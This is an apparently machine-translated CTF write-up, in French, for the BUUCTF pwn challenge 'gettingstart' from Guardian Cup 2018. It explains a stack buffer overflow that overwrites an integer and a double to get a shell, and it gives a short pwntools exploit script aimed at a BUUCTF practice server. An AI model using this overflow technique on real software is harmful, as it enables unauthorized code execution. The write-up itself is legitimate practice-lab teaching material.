[BUUCTF] PWN —— Guardian Cup_2018_gettingstart

Coupe du filet de garde_2018_gettingstart

  1. Inspection de routine, programme 64 bits, tous ouverts sauf RELRO
    Insérez la description de l'image ici
  2. Essayez-le pour voir la situation générale
    Insérez la description de l'image ici
  3. Chargement ida 64 bits.
    Insérez la description de l'image ici
    Lorsque v5 = 0x7FFFFFFFFFFFFFFFLL est satisfait et v6 = 0.1, le shell peut être obtenu. Regardez la disposition de la pile.
    Insérez la description de l'image ici
    Déterminez le décalage. Vous pouvez modifier la valeur de v5 et v6 lors de la lecture de buf.
    Cette question n'est pas difficile, v5 La valeur peut être exprimée directement, il suffit de faire attention à la représentation de 0,1 dans la mémoire. Ce qui est stocké dans la mémoire est le complément des données, et les données en virgule flottante sont stockées dans la mémoire selon la norme IEEE754. Les maîtres intéressés peuvent Baidu pour voir comment calculer. Ici, j'ai trouvé un petit outil qui calcule les données et les stocke en mémoire sur les blogs d' autres maîtres.
    Insérez la description de l'image ici

exp

from pwn import *

p=remote("node3.buuoj.cn",27198)

payload='a'*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()

Insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/mcmuyanga/article/details/114973644
conseillé
Classement